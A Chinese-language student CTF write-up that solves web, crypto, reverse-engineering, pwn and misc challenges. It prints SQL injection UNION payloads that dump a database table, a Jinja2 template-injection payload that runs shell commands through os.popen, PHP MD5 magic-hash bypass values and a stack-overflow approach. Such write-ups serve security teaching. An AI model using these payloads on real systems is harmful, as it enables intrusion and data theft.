校内CTF比赛WriteUp

  • Web

    • 签到2
    • 口算小天才
    • easy php
    • 录取查询
    • 我爱python
  • Crypto

    • easy crypto
    • bAcOn
  • Re

    • easy re
    • 跳到对的地方
    • 简单的xor
  • Pwn

    • easy pwn
    • 莽撞人
  • Misc

    • drop the beats
    • 拼东东
    • 消失的50px

签到2

看源代码底部就能知道前面一段flag 在将input的size和maxlength去掉提交就可以得到下一段flag

口算小天才

校内CTF比赛WriteUp_第1张图片

在1-3秒内答题 口算好可以直接做 不然也可以写python脚本自动提交数据 注意session的获取就行

校内CTF比赛WriteUp_第2张图片

easy php

vim写的 明示有swp文件 index.php.swp 得到源码

0)==false) {
    		echo "xgctf{xxxxxxx}";
    	}
        else {
        echo "Sorry, just think more";
    }
    } else {
        echo "Sorry, you are wrong";
    }
}  
else{
    echo "这是第一个我用vim写的网站哦";
}
?>

三个变量 a b c.其中 a b要求值不同但md5相等 可以直接用a=240610708&b=QNKCDZO相似md5过验证 理论也可以传数组过验证 c既要大于9999999 又要小于0 可用数组 NULL==FALSE 交提就拿flag

录取查询

sql注入题
简单测试下 发现基本没有关键词过滤 直接注入就行
校内CTF比赛WriteUp_第3张图片
似乎第二个input才是执行的代码 第一个仅仅只是用来填模板的 所以要在下面注入

1’ or 1=1 order by 7 #可以知道有7列
1’ union select 1,2,3,4,5,user(),database() #数据库是school
1’ union select 1,2,3,4,5,6,table_name from information_schema.tables where table_schema= ‘school’#得到table_name
1’ union select 1,2,3,4,5,6,flag from flag #猜测字段名是flag即可

我爱python

网页源码提示是用来flask的 也没有关键词过滤 可以直接执行系统命令

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("ls").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

看到有flag这个文件 cat之后得到flag

easy crypto

a3RwZ3N7b25mcl82NF9uYXFfZTBnXzEzfQ==
base64解密后 ktpgs{onfr_64_naq_e0g_13} 像是flag 但flag是xgctf开头的
ktpgs和xgctf每个单词相差13或-13 所以枚举每个位置单词的所有可能 然后凭感觉组合(#.#)

bAcOn

如题是培根加密 大写字母1小写字母0 然后在http://rumkin.com/tools/cipher/baconian.php解密就行

easy re

拖OD搜中文 在这里插入图片描述
解密这一串字符就可以

跳到对的地方

搜中文后可以看到提示在这里插入图片描述
直接jmp到段首 然后跟到段尾 flag就出现了

简单的xor

拖OD找到关键句 在这里插入图片描述所以要分析算法
那就去IDA F5 校内CTF比赛WriteUp_第4张图片
分析可知输入的每个字符跟v10开始的数组进行异或 再跟v32比较 相等就正确 输入的就是flag
因为异或在异或就是本来的数据 所以只要v32跟v10数组再次异或就OK

easy pwn

校内CTF比赛WriteUp_第5张图片
这是main函数 linux的ida似乎没有F5?TOT
这道题主要是让输入的buf覆盖var4的值 所以我们需要C-4个字母加上7E3就可以骗到flag

莽撞人

跟上面的有点不同 这是让我们用栈溢出来执行CALL
在这里插入图片描述这是我们的目标 地址是 08048466
也就是让给EBP这个值 参考https://www.jianshu.com/p/7f18c0db8e68
用peda可以算出溢出值 20
代码:
校内CTF比赛WriteUp_第6张图片

drop the beats

音频隐写 刚好我电脑装了Au 随便看几个音频参数 就可以发现flag在这里在这里插入图片描述

拼东东

zip损坏 在压缩包头部补上文件头即可

消失的50px

题目给了提示 要求高度补上50px
在这里插入图片描述 修改为190可以看到flag

你可能感兴趣的:(CTF)